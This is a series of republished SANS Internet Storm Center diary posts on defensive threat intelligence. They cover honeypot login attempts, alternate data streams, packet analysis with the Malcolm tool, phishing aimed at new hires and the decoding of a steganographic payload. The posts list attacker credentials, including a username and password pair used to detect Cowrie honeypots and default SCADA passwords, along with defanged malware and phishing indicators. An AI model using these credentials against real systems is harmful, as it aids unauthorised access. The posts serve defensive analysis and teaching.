This post was originally published on this site

Just looked at our telnet/ssh honeypot data, and found some interesting new usernames that  attackers attempted to use:

"notachancethisisreal"

This username is likely used to detect Cowrie (and other) honeypots. Cowrie is often configured to accept logins randomly. No matter the username/password combination used, the login will succeed every few times. This is supposed to provide the illusion of a more "real" system, not just allowing some common default password, and not allowing each login to succeed. The password used with the username is "nopasswordforme73baby." Likely to pick a password that is highly unlikely to be used in a real system.

Any login that succeeds with this username and password will indicate that the system is a honeypot. So far, we have only had 31 login attempts with this username and password, all on July 1st.

"scadaadmin"

The name says it: It looks like they are looking for SCADA systems. The password used with this username is "P@$$W0rd". The password has been used "forever" and is popular, but the username is new. 

The username appears to be associated with "Rapid SCADA" systems, according to some AI results, but I was not able to confirm this in the manuals. Maybe just a hallucination. However, the default password is either 12345 or blank. They are looking for users who have tried to be more secure. I am not sure how they ended up with P@$$W0rd. They also appear to use "admin" and "12345" as default credentials. It isn't a serious SCADA system if it doesn't have simple default credentials like this.

"gpu001", "gpu002"

These appear to be common hostnames for network-accessible GPUs, but I wasn't able to confirm that these are actual usernames often used for these systems. But attackers are always out for more GPU/CPU power, so they may just give this a try hoping for the best. There are a few passwords that are used with these usernames, like '7777777', 'gpu001@2025', and '1111111'.

See anything else that is new and interesting? Or have any insight into the three usernames I listed above? Let me know! (see contact link on the left).

—
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

This post was originally published on this site

Ehsaan Mavani talks about Alternate Data Streams (ADS) in diary entry "Alternate Data Streams ? Adversary Defense Evasion and Detection [Guest Diary]".

I'm taking this as an opportunity to remind you that Python tools on Windows and an NTFS disk, can access alternate data streams.

Like my tool cut-bytes.py, here I use it to show the content of the Mark-of-the-Web stored inside the Zone.Identifier ADS:

You just need to type a colon (:) followed by the ADS name after the filename.

I didn't have to code this in Python for Windows, it's default behavior.

I did code ADS features in my FileScanner tool. It's not written in Python, but in C for Windows, and I coded features to enumerate and scan alternate data streams.

If you give it a file to scan, it will scan the file content, and also the content of all of its alternate data streams. Like with this download with a MotW:

And if you give it a folder or a drive to scan, it will also enumerate and scan all alternate data streams.

 

Didier Stevens
Senior handler
blog.DidierStevens.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

This post was originally published on this site

[This is a Guest Diary by Matthew Paul, an ISC intern as part of the SANS.edu BACS program]

Over the past few months, I’ve been working under a SANS Internet Storm Center (ISC) Sr. Handler as part of the SANS Degree Program ISC Internship.  The first objective of the internship is setting up a forward-facing honeypot on your network to review and report on log activity. 

For this internship I wanted to focus more on packet vs log analysis. For my setup, I did a bare-metal install of the network analysis tool Malcolm to use as an NSM/IDS.  I setup a 5-port managed switch and configured a monitor port for the honeypot with the mirror sending packets to my Malcolm sensor. This setup allowed me to collect and analyze all traffic going to and from my honeypot.

Malcolm is a network capture and analysis tool smartly comprised of various open-source tools; Arkime, OpenSearch, Logstash, Filebeat, OpenSearch Dashboards, Zeek, Suricata, Yara, Capa, ClamAV, CyberChef, jQuery File Upload, NetBox, PostgresSQL, Redis, Keycloak, OpenResty, nginx-auth-ldap, Fluent Bit, Mark Baggett’s (SANS Instructor) freq.py, Florian Roth’s Signature-Base Yara Rules, Bart Blaze’s Yara Rules, RerversingLabs’ Yara Rules and multiple Zeek Packages.[1]

*Graphic Sourced from https://malcolm.fyi/docs/components.html 

Malcolm was created by Idaho National Labs as part of a CISA contract to assist with protecting critical infrastructure, most notably it incorporates ICS protocol parsers not commonly seen with other tools, albeit their inclusion is growing.   

There is an additional tool that can be used with Malcolm, Hedgehog Linux. Deployment of a Hedgehog sensor seemed overkill for my use case, but it’s an option nonetheless.   Hedgehog Linux can be installed on a separate appliance as a PCAP ingestion sensor freeing up Malcolm resources for analysis.  The Hedgehog sensor monitors network interfaces, captures traffic and generates PCAPs, detects file transfers in network traffic and extracts/scans the files for threats, generates and forward Zeek logs, Arkime sessions, and other information to Malcolm [2].  It’s important to note you do not need the Hedgehog Linux sensor for Malcolm to work.  During the Malcolm install there is an option to have Malcolm ingest packets or use a Hedgehog Linux sensor. 

*Graphic Sourced from https://malcolm.fyi/docs/hedgehog.html

Malcolm can be installed via an ISO or ran in a Docker/Kubernetes container.  I opted for the bare-metal option as I had a spare Intel NUC computer that fit my needs, and having a dedicated compact capture sensor seemed like a good idea.  The Malcolm ISO is quite large, anywhere from 4 – 6 GBs requiring the ISO to be downloaded in chunks from GitHub. There is an included script (release_cleaver.ps1) to stitch everything together.  Once downloaded and assembled, the ISO can be used to create a bootable drive using your favorite tool – Rufus, Balena Etcher…etc.

The install is straight forward and runs through multiple prompts for selecting a customized installation. The documentation is quite robust on the Malcolm page (https://malcolm.fyi/)  which mirrors their GitHub page. While previous installations resulted in some tweaks here and there, the most recent ISO worked as advertised post installation. 

I am always surprised by the amount of people who are unaware of this tool.  The features and workflow made this internship so much easier than simply pulling and parsing honeypot logs.  Below is a common workflow that I used for one of the attacks I analyzed.

I found info for this particular attack in the Zeek Weird Logs.  Zeek Weird logs are generated by protocol anomalies [3].  Weird.logs are often overlooked but can be advantageous to review, especially in my case where I only had traffic from one device.  There are other ways to filter for this example such as selecting Telenet from the Common Protocols List.  From here I filtered NUL_in_line to get the below. These logs indicate null bytes (x00) are found in unexpected places.  

From here I chose an IP originating from a country which I had a significant higher number of attacks – RUS.  Note:  Not captured on the previous dashboard image, but further down the screen was a world map with the IP activity level for each country. Selecting any identifying characteristic creates a dashboard filter.  Note the destination port number 23; Telnet. 

Once I have an IP, date, and time I pivot over to Arkime.  From here I create a filter for the IP and input the appropriate date and time.  Arkime provides session data and the ability to download the pcap to open in Wireshark for a more thorough deep dive.  Note under the Data Source Zeek is displayed.  There are multiple data sources (Arkime, Suricata, Zeek…etc.) that can be separately displayed or displayed all at once. 

Below Arkime is selected as the data source.  This view will provide the option to download the pcap which we will do next. 

We’ll expand the session and select “Download PCAP.”

In Wireshark we see the below activity:

Since this is an unencrypted TCP session, we can right click and select follow stream to view the below output:

We see some root password guessing here with success using jvbzd, a default UNIX password SANS ISC advised against using this default password in 2016. [4]

We see some recon attempts for mount points and attempts to reach out using wget. With this being a honeypot, the threat actor’s mobility was restricted and they eventually realized this and exited the box.  

This is another strong reminder that only you can prevent easy exploitation by changing your default password. 
Malcolm is a great tool and free to implement.  

[1] https://malcolm.fyi/docs/components.html
[2] https://malcolm.fyi/docs/hedgehog.html 
[3] Zeek Weird Logs: https://docs.zeek.org/en/master/logs/weird-and-notice.html 
[4] https://isc.sans.edu/diary/21791 
[5] https://www.sans.edu/cyber-security-programs/bachelors-degree/

———–
Guy Bruneau IPSS Inc.
My GitHub Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

This post was originally published on this site

[This is a guest diary by Christopher Crowley, https://montance.com]

Here’s a good reason to include security awareness training for new hires!

I recently added an account to my Google Workspace domain (montance[dot]com). Friday, May 16th, 10:10 am, to be exact. Something interesting to note about the domain configuration is there’s a catchall account in place, so all email addresses are valid.

Starting May 28th the new account started receiving targeted phishing email messages. The subject was either blank or a variation of my name (Chris or Christopher), and the sender's "From" address had a call to action and urgency:

From: "EMERGENCY: PROVIDE YOUR CELL NUMBER IMMEDIATELY"
From: "EMERGENCY:PROVIDE YOUR CELL PHONE NUMBER IMMEDIATELY ASAP"
From: "EMERGENCY; PROVIDE YOUR CELL PHONE NUMBER IMMEDIATELY"
From: GET BACK TO ME IMMEDIATELY
From: JUNE THURSDAY 5TH
From: Quick Response
From: RESPONSE REQUIRED
From: Timely Reminder

The messages all indicated that there were some urgent tasks to perform and that I supposedly needed the person’s phone number. There were 8 unique email addresses used, all of which invoke the concept of urgency:

hoursworking605--at--gmail_com
immediatelyofficemail79--at--gmail_com
officeoperatedeskboxx360--at--gmail_com
promotionaltask747--at--gmail_com
promotiontask910--at--gmail_com
quickreply946--at--gmail_com
quicktask5511--at--gmail_com
urgentmails696--at--gmail_com

All of these went into the Spam folder until June 10th, when a couple got through.  Noteworthy, almost all of the email salutations used the recipient’s LinkedIn name. This is obvious because his name on LI includes certifications. Then on June 10th, they sent him a text message:

This is likely reasonably automated phishing with low targeting specificity, but the identification of the new account and fast phishing was interesting. In my case, it was easy to observe since there are so few accounts in the domain and he’s a vigilant and cyber-aware person. MFA is enabled.

One question I have for readers: does anyone have a script or know of a project that’s an equivalent of Invoke-MSOLSpray targeting Google Workspace domains? Someone must be using something like that to discover new accounts. The email address wasn’t posted online anywhere. His LinkedIn profile has a different email address. So, there was some amount of correlation the sender of the spam did.

Nothing especially surprising, but a reminder that they’re watching for opportunities. Someone new at the company and eager to appear responsive seems like a good phishing target!

—
Christopher Crowley
Author, Consultant, Instructor
https://montance.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

This post was originally published on this site

Over the weekend, Xavier posted about another image with a payload: "More Steganography!".

Xavier did a static analysis, and I want to explain how you can decode the payload if you opted for a dynamic analysis.

During your dynamic analysis, you will notice the download of a JPEG image from hxxps://zynova[.]kesug[.]com/new_image.jpg.

You can use my tool jpegdump.py to analyze this file:

You can see that data is appended (after EOI, End Of Image). Notice *trailing*.

This can be selected:

Notice the TVqQ that Xavier pointed out. That's BASE64 encoding of MZ, the magic header of a PE file.

But the @ character is unexpected. That's not part of the BASE64 standard. So let's do some statistics with byte-stats.py:

So we see that all the letters appears in this payload, except for letter A. Let's try out an hypothesis: character @ is a substitute for character A.

That's indeed the case, base64dump.py finds a huge BASE64 string, that once decoded starts with MZ.

If you want to see the SHA256 hash in stead of the MD5 hash, so that we can compare it with what Xavier published, you can set environment variable DSS_DEFAULT_HASH_ALGORITHMS.

And that's the same hash as Xavier published for the .NET DLL.

 

Didier Stevens
Senior handler
blog.DidierStevens.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.